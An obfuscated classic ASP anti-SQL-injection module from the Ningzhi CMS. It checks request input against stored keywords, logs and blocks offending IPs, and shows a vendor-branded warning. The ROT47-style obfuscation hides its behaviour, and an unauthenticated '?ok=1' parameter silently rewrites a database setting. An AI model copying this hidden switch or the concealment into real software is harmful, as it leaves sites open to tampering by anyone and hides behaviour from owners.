<%
'开发商：金华市宁志网络科技有限公司
'官方网址： http://www.ningzhi.net 
'客服QQ号：122470827 
'产品咨询电话：18867186998 （刘经理,兼微信号）
'注册正式版系统提供源码（可二次开发修改）
'*请勿修改下列任何代码,以保证程序正常运行！感谢您体验宁志产品，宁志有您更精彩！*

Dim NZZZNZ,NZZZNN,NZZNZZ,NZZNZN,NZZNNZ
Set NZZNZZ=Response:Set NZZZNN=Request:Set NZZNNZ=Session:Set NZZZNZ=Application:Set NZZNZN=Server
dim NNZZZN,NNZZNZ,NNZZNN
NNZZZN=NZNNNN(ChrW(93) & ChrW(93) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(63) & ChrW(75) & ChrW(72) & ChrW(54) & ChrW(51) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65) & ChrW(94) & ChrW(53) & ChrW(50) & ChrW(69) & ChrW(50) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(68) & ChrW(66) & ChrW(61) & ChrW(93) & ChrW(50) & ChrW(68) & ChrW(50) & ChrW(73))
On Error Resume Next
Set NNZZNZ = NZZNZN.CreateObject(NZNNNN(ChrW(112) & ChrW(115) & ChrW(126) & ChrW(115) & ChrW(113) & ChrW(93) & ChrW(114) & ChrW(64) & ChrW(63) & ChrW(63) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63)))
NNZZNN=NZNNNN(ChrW(33) & ChrW(67) & ChrW(64) & ChrW(71) & ChrW(58) & ChrW(53) & ChrW(54) & ChrW(67) & ChrW(108) & ChrW(124) & ChrW(58) & ChrW(52) & ChrW(67) & ChrW(64) & ChrW(68) & ChrW(64) & ChrW(55) & ChrW(69) & ChrW(93) & ChrW(121) & ChrW(54) & ChrW(69) & ChrW(93) & ChrW(126) & ChrW(123) & ChrW(116) & ChrW(115) & ChrW(113) & ChrW(93) & ChrW(99) & ChrW(93) & ChrW(95) & ChrW(106) & ChrW(115) & ChrW(50) & ChrW(69) & ChrW(50) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(64) & ChrW(70) & ChrW(67) & ChrW(52) & ChrW(54) & ChrW(108)) & NZZNZN.MapPath(NNZZZN)
NNZZNZ.Open NNZZNN
If Err Then
err.Clear
Set NNZZNZ = Nothing
NZZNZZ.Write NZNNNN(ChrW(25963) & ChrW(64) & ChrW(25449) & ChrW(64) & ChrW(24206) & ChrW(64) & ChrW(-28711) & ChrW(64) & ChrW(25504) & ChrW(64) & ChrW(20981) & ChrW(64) & ChrW(-27372) & ChrW(64) & ChrW(-244) & ChrW(44) & ChrW(-29710) & ChrW(64) & ChrW(26811) & ChrW(64) & ChrW(26592) & ChrW(64) & ChrW(-28711) & ChrW(64) & ChrW(25504) & ChrW(64) & ChrW(23378) & ChrW(64) & ChrW(20013) & ChrW(64) & ChrW(12290) & ChrW(44))
NZZNZZ.End
End If
Dim NNZNZZ,NNZNZN,NNZNNZ,NNZNNN,NNNZZZ,NNNZZN,NNNZNZ,NNNZNN,NNNNZZ
Dim NNNNZN
If IsArray(NZZZNZ(NZNNNN(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64))))=False Then Call NNZZZZ()
NNNNZN = NZZZNZ(NZNNNN(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64)))
NNZNNZ = NNNNZN(0)
NNNZNN = NNNNZN(1)
NNNNZZ = NNNNZN(2)
NZZNZNZ = NNNNZN(3)
NZZNZNN = NNNNZN(4)
NZZNNZZ = NNNNZN(5)
NZZNNZN = NNNNZN(6)
NZZNNNZ = NNNNZN(7)
NZZNNNN = NNNNZN(8)
if NZZZNN.querystring(NZNNNN(ChrW(64) & ChrW(60)))="1" then
set NZNZZZZ=NZZNZN.CreateObject(NZNNNN(ChrW(50) & ChrW(53) & ChrW(64) & ChrW(53) & ChrW(51) & ChrW(93) & ChrW(67) & ChrW(54) & ChrW(52) & ChrW(64) & ChrW(67) & ChrW(53) & ChrW(68) & ChrW(54) & ChrW(69)))
NZZZNZZ=NZNNNN(ChrW(68) & ChrW(54) & ChrW(61) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(89) & ChrW(32) & ChrW(44) & ChrW(55) & ChrW(67) & ChrW(64) & ChrW(62) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(32) & ChrW(44))
NZNZZZZ.open NZZZNZZ,NNZZNN,1,3
NZNZZZZ(NZNNNN(ChrW(68) & ChrW(66) & ChrW(48) & ChrW(60) & ChrW(56)))= (68 * 94 - 6391)
NZNZZZZ.update
NZZNZZ.Redirect(NZNNNN(ChrW(94)))
end if
NZNZZZN = split(NZZNNNZ,NZNNNN(ChrW(77)))
NNZNNN = split(NNZNNZ,NZNNNN(ChrW(77)))
If NNNZNN=1 Then NZZNNN
If NZZZNN.Form<>"" Then NZNZNZ(NZZZNN.Form)
If NZZZNN.QueryString<>"" Then NZNZNZ(NZZZNN.QueryString)
Function NZZNNN()
Dim NNNNNZ,NNNNNN,NZZZZZZ
NNNNNZ=NZZZNN.ServerVariables(NZNNNN(ChrW(35) & ChrW(116) & ChrW(124) & ChrW(126) & ChrW(37) & ChrW(116) & ChrW(48) & ChrW(112) & ChrW(115) & ChrW(115) & ChrW(35)))
NZZZZZZ=NZNNNN(ChrW(68) & ChrW(54) & ChrW(61) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(58) & ChrW(63) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(32) & ChrW(44) & ChrW(55) & ChrW(67) & ChrW(64) & ChrW(62) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(32) & ChrW(44) & ChrW(72) & ChrW(57) & ChrW(54) & ChrW(67) & ChrW(54) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(58) & ChrW(63) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(108) & ChrW(86))&NNNNNZ&NZNNNN(ChrW(86) & ChrW(32) & ChrW(44) & ChrW(50) & ChrW(63) & ChrW(53) & ChrW(32) & ChrW(44) & ChrW(60) & ChrW(58) & ChrW(61) & ChrW(61) & ChrW(48) & ChrW(58) & ChrW(65) & ChrW(108) & ChrW(69) & ChrW(67) & ChrW(70) & ChrW(54))
Set NNNNNN=NNZZNZ.execute(NZZZZZZ)
If Not(NNNNNN.eof or NNNNNN.bof) Then
NZNZZZ(NZZNNZZ)
NZZNZZ.End
End If
NNNNNN.close
End Function
Function NZNZZZ(NZZNZNN)
Dim str
str = NZNNNN(ChrW(107))&NZNNNN(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(123) & ChrW(50) & ChrW(63) & ChrW(56) & ChrW(70) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(108) & ChrW(121) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69))&NZNNNN(ChrW(109))
Select Case NZZNNZN
Case 1
str = str & NZNNNN(ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(64) & ChrW(65) & ChrW(54) & ChrW(63) & ChrW(54) & ChrW(67) & ChrW(108) & ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61) & ChrW(106) & ChrW(32) & ChrW(44) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(52) & ChrW(61) & ChrW(64) & ChrW(68) & ChrW(54) & ChrW(87) & ChrW(88) & ChrW(106))
Case 2
str = str & NZNNNN(ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&NZZNZNN&NZNNNN(ChrW(57) & ChrW(69) & ChrW(69) & ChrW(65) & ChrW(105) & ChrW(94) & ChrW(94) & ChrW(72) & ChrW(72) & ChrW(72) & ChrW(93) & ChrW(63) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(75) & ChrW(57) & ChrW(58) & ChrW(93) & ChrW(63) & ChrW(54) & ChrW(69) & ChrW(45) & ChrW(63) & ChrW(45) & ChrW(63) & ChrW(29251) & ChrW(64) & ChrW(26430) & ChrW(64) & ChrW(105) & ChrW(-29710) & ChrW(64) & ChrW(-32689) & ChrW(64) & ChrW(31990) & ChrW(64) & ChrW(24315) & ChrW(64) & ChrW(21452) & ChrW(64) & ChrW(21825) & ChrW(64) & ChrW(34) & ChrW(34) & ChrW(-230) & ChrW(44) & ChrW(96) & ChrW(97) & ChrW(97) & ChrW(99) & ChrW(102) & ChrW(95) & ChrW(103) & ChrW(97) & ChrW(102) & ChrW(32) & ChrW(44) & ChrW(32) & ChrW(44) & ChrW(86) & ChrW(88) & ChrW(106) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(64) & ChrW(65) & ChrW(54) & ChrW(63) & ChrW(54) & ChrW(67) & ChrW(108) & ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61) & ChrW(106) & ChrW(32) & ChrW(44) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(52) & ChrW(61) & ChrW(64) & ChrW(68) & ChrW(54) & ChrW(87) & ChrW(88) & ChrW(106))
Case 3
str = str & NZNNNN(ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&NZZNZNZ&NZNNNN(ChrW(86) & ChrW(106))
Case 4
str = str & NZNNNN(ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&NZZNZNN&NZNNNN(ChrW(86) & ChrW(88) & ChrW(106) & ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&NZZNZNZ&NZNNNN(ChrW(86) & ChrW(106))
end Select
str = str & NZNNNN(ChrW(107))&NZNNNN(ChrW(94) & ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69))&NZNNNN(ChrW(109))
NZZNZZ.write  str
End Function
Function NZNZZN(NZNZNZZ)
Select Case NZNZNZZ
Case NZZZNN.Form
NZNZZN = NZNNNN(ChrW(33) & ChrW(64) & ChrW(68) & ChrW(69))
Case NZZZNN.QueryString
NZNZZN = NZNNNN(ChrW(118) & ChrW(54) & ChrW(69))
end Select
End Function
Function NZNZNZ(NZNZNZZ)
For Each NNZNZN In NZNZNZZ
If NZZNNNN = 1 Then
For NZNZNZN=0 To UBound(NZNZZZN)
If Instr(LCase(NZNNNZ),NZNZZZN(NZNZNZN))> 0 Then
Exit Function
else
NZNZNN(NZNZNZZ)
End If
Next
Else
NZNZNN(NZNZNZZ)
End If
Next
End Function
Function NZNZNN(NZNZNZZ)
For NNNZZZ=0 To Ubound(NNZNNN)
If Instr(LCase(NZNZNZZ(NNZNZN)),NNZNNN(NNNZZZ))<>0 Then
If NNNNZZ = 1 Then NZNNZZ(NZNZNZZ)
NZNZZZ(NZZNZNN)
NZZNZZ.End
End If
Next
End Function
If nz_by_kg=1 Then
NZZNZZ.Write(NZNNNN(ChrW(107) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(61) & ChrW(50) & ChrW(63) & ChrW(56) & ChrW(70) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(108) & ChrW(59) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&sql_shuoming&NZNNNN(ChrW(86) & ChrW(88) & ChrW(106) & ChrW(69) & ChrW(57) & ChrW(58) & ChrW(68) & ChrW(93) & ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&sql_web&NZNNNN(ChrW(86) & ChrW(106) & ChrW(107) & ChrW(94) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109)))
end if
If sql_sq_kg=1 Then
NZZNZZ.Write(NZNNNN(ChrW(107) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(61) & ChrW(50) & ChrW(63) & ChrW(56) & ChrW(70) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(108) & ChrW(59) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&sql_shuoming&NZNNNN(ChrW(86) & ChrW(88) & ChrW(106) & ChrW(69) & ChrW(57) & ChrW(58) & ChrW(68) & ChrW(93) & ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&sql_web&NZNNNN(ChrW(86) & ChrW(106) & ChrW(107) & ChrW(94) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109)))
end if
Function NZNNZZ(NZNZNZZ)
Dim NZZZZNZ,NZZZZNN,NZZZNZZ
NZZZZNZ = NZZZNN.ServerVariables(NZNNNN(ChrW(35) & ChrW(116) & ChrW(124) & ChrW(126) & ChrW(37) & ChrW(116) & ChrW(48) & ChrW(112) & ChrW(115) & ChrW(115) & ChrW(35)))
NZZZZNN = NZZZNN.ServerVariables(NZNNNN(ChrW(38) & ChrW(35) & ChrW(123)))
NZZZNZZ = NZNNNN(ChrW(58) & ChrW(63) & ChrW(68) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(58) & ChrW(63) & ChrW(69) & ChrW(64) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(87) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(58) & ChrW(63) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(40) & ChrW(54) & ChrW(51) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(117) & ChrW(36) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(114) & ChrW(36) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(36) & ChrW(121) & ChrW(88) & ChrW(32) & ChrW(44) & ChrW(71) & ChrW(50) & ChrW(61) & ChrW(70) & ChrW(54) & ChrW(68) & ChrW(87) & ChrW(86))&NZZZZNZ&NZNNNN(ChrW(86) & ChrW(91) & ChrW(86))&NZZZZNN&NZNNNN(ChrW(86) & ChrW(91) & ChrW(86))&NZNZZN(NZNZNZZ)&NZNNNN(ChrW(86) & ChrW(91) & ChrW(86))&NNZNZN&NZNNNN(ChrW(86) & ChrW(91) & ChrW(86))&NZNNZN(NZNZNZZ(NNZNZN))&NZNNNN(ChrW(86) & ChrW(88))
NNZZNZ.Execute(NZZZNZZ)
NNZZNZ.close
Set NNZZNZ = Nothing
End Function
Function NZNNZN(NZNZZNZ)
NZNZZNZ = Replace(NZNZZNZ,NZNNNN(ChrW(86)),NZNNNN(ChrW(86) & ChrW(86)))
NZNZZNZ = Replace(NZNZZNZ, NZNNNN(ChrW(109)), NZNNNN(ChrW(85) & ChrW(56) & ChrW(69) & ChrW(106)))
NZNZZNZ = Replace(NZNZZNZ, NZNNNN(ChrW(107)), NZNNNN(ChrW(85) & ChrW(61) & ChrW(69) & ChrW(106)))
NZNNZN = NZNZZNZ
End Function
sub NNZZZZ()
dim  NZZZNZN,NZZZNNZ
set NZZZNNZ=NNZZNZ.execute(NZNNNN(ChrW(68) & ChrW(54) & ChrW(61) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(125) & ChrW(48) & ChrW(120) & ChrW(63) & ChrW(91) & ChrW(122) & ChrW(58) & ChrW(61) & ChrW(61) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(91) & ChrW(40) & ChrW(67) & ChrW(58) & ChrW(69) & ChrW(54) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(91) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(48) & ChrW(70) & ChrW(67) & ChrW(61) & ChrW(91) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64) & ChrW(91) & ChrW(60) & ChrW(58) & ChrW(61) & ChrW(61) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64) & ChrW(91) & ChrW(125) & ChrW(48) & ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54) & ChrW(91) & ChrW(36) & ChrW(54) & ChrW(52) & ChrW(48) & ChrW(117) & ChrW(64) & ChrW(67) & ChrW(62) & ChrW(68) & ChrW(91) & ChrW(36) & ChrW(54) & ChrW(52) & ChrW(48) & ChrW(117) & ChrW(64) & ChrW(67) & ChrW(62) & ChrW(48) & ChrW(64) & ChrW(65) & ChrW(54) & ChrW(63) & ChrW(9) & ChrW(44) & ChrW(55) & ChrW(67) & ChrW(64) & ChrW(62) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56)))
Redim ApplicationValue(9)
dim NZZZNNN
for NZZZNNN=0 to 8
ApplicationValue(NZZZNNN)=NZZZNNZ(NZZZNNN)
next
set NZZZNNZ=nothing
NZZZNZ.Lock
set NZZZNZ(NZNNNN(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64)))=nothing
NZZZNZ(NZNNNN(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64)))=ApplicationValue
NZZZNZ.unlock
end Sub
Function NZNNNZ()
NZNNNZ = Mid(NZZZNN.ServerVariables(NZNNNN(ChrW(38) & ChrW(35) & ChrW(123))),InstrRev(NZZZNN.ServerVariables(NZNNNN(ChrW(38) & ChrW(35) & ChrW(123))),NZNNNN(ChrW(94)))+1)
End Function
Function NZNNNN(ByVal NZNZZNN)
Dim NZZNZZZ, NZZZNNN, NZZNZZN
NZNZZNN = Replace(NZNZZNN, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NZZZNNN = 1 To Len(NZNZZNN)
If NZZZNNN <> NZZNZZN Then
NZZNZZZ = AscW(Mid(NZNZZNN, NZZZNNN, 1))
If NZZNZZZ >= 33 And NZZNZZZ <= 79 Then
NZNNNN = NZNNNN & Chr(NZZNZZZ + 47)
ElseIf NZZNZZZ >= 80 And NZZNZZZ <= 126 Then
NZNNNN = NZNNNN & Chr(NZZNZZZ - 47)
Else
NZZNZZN = NZZZNNN + 1
If Mid(NZNZZNN, NZZNZZN, 1) = Chr(64) Then NZNNNN = NZNNNN & ChrW(NZZNZZZ + 5) Else NZNNNN = NZNNNN & Mid(NZNZZNN, NZZZNNN, 1)
End If
End If
Next
End Function
%>